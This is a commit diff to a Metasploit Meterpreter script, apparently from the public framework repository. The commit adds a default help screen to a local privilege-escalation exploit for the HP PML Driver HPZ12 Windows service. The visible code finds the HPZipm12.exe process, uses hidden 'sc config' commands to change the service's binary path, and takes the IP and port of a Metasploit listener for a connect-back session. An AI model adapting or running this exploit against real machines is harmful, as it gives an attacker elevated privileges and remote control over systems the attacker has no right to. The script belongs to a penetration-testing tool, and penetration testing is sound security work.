HP PML Driver ~ Added help screen by default

unstable
g0tmi1k 2013-07-03 14:41:23 +01:00
parent 67f30a6828
commit 92edf79ea5
1 changed files with 22 additions and 19 deletions

View File

@ -1,5 +1,3 @@
# $Id$
# $Revision$
## ##
# This file is part of the Metasploit Framework and may be subject to # This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit # redistribution and commercial restrictions. Please see the Metasploit
@ -23,7 +21,7 @@
# #
# Options # Options
# #
opts = Rex::Parser::Arguments.new( @exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu" ], "-h" => [ false, "This help menu" ],
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back" ], "-r" => [ true, "The IP of the system running Metasploit listening for the connect back" ],
"-p" => [ true, "The port on the remote host where Metasploit is listening" ] "-p" => [ true, "The port on the remote host where Metasploit is listening" ]
@ -32,25 +30,31 @@ opts = Rex::Parser::Arguments.new(
# #
# Default parameters # Default parameters
# #
rhost = nil
rport = nil
rhost = Rex::Socket.source_address("1.2.3.4") def usage
rport = 4444 print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.")
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end
# #
# Option parsing # Option parsing
# #
opts.parse(args) do |opt, idx, val| opts.parse(args) do |opt, idx, val|
case opt case opt
when "-h"
print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.")
print_line(opts.usage)
raise Rex::Script::Completed
when "-r" when "-r"
rhost = val rhost = val
when "-p" when "-p"
rport = val.to_i rport = val.to_i
else
usage
end end
end end
if rhost.nil? or rport.nil?
usage
if client.platform =~ /win32|win64/ if client.platform =~ /win32|win64/
client.sys.process.get_processes().each do |m| client.sys.process.get_processes().each do |m|
if ( m['name'] =~ /HPZipm12\.exe/ ) if ( m['name'] =~ /HPZipm12\.exe/ )
@ -96,10 +100,9 @@ if client.platform =~ /win32|win64/
) )
client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'}) client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'})
end end
end end
else else
print_error("This version of Meterpreter is not supported with this Script!") print_error("This version of Meterpreter is not supported with this script!")
raise Rex::Script::Completed raise Rex::Script::Completed
end end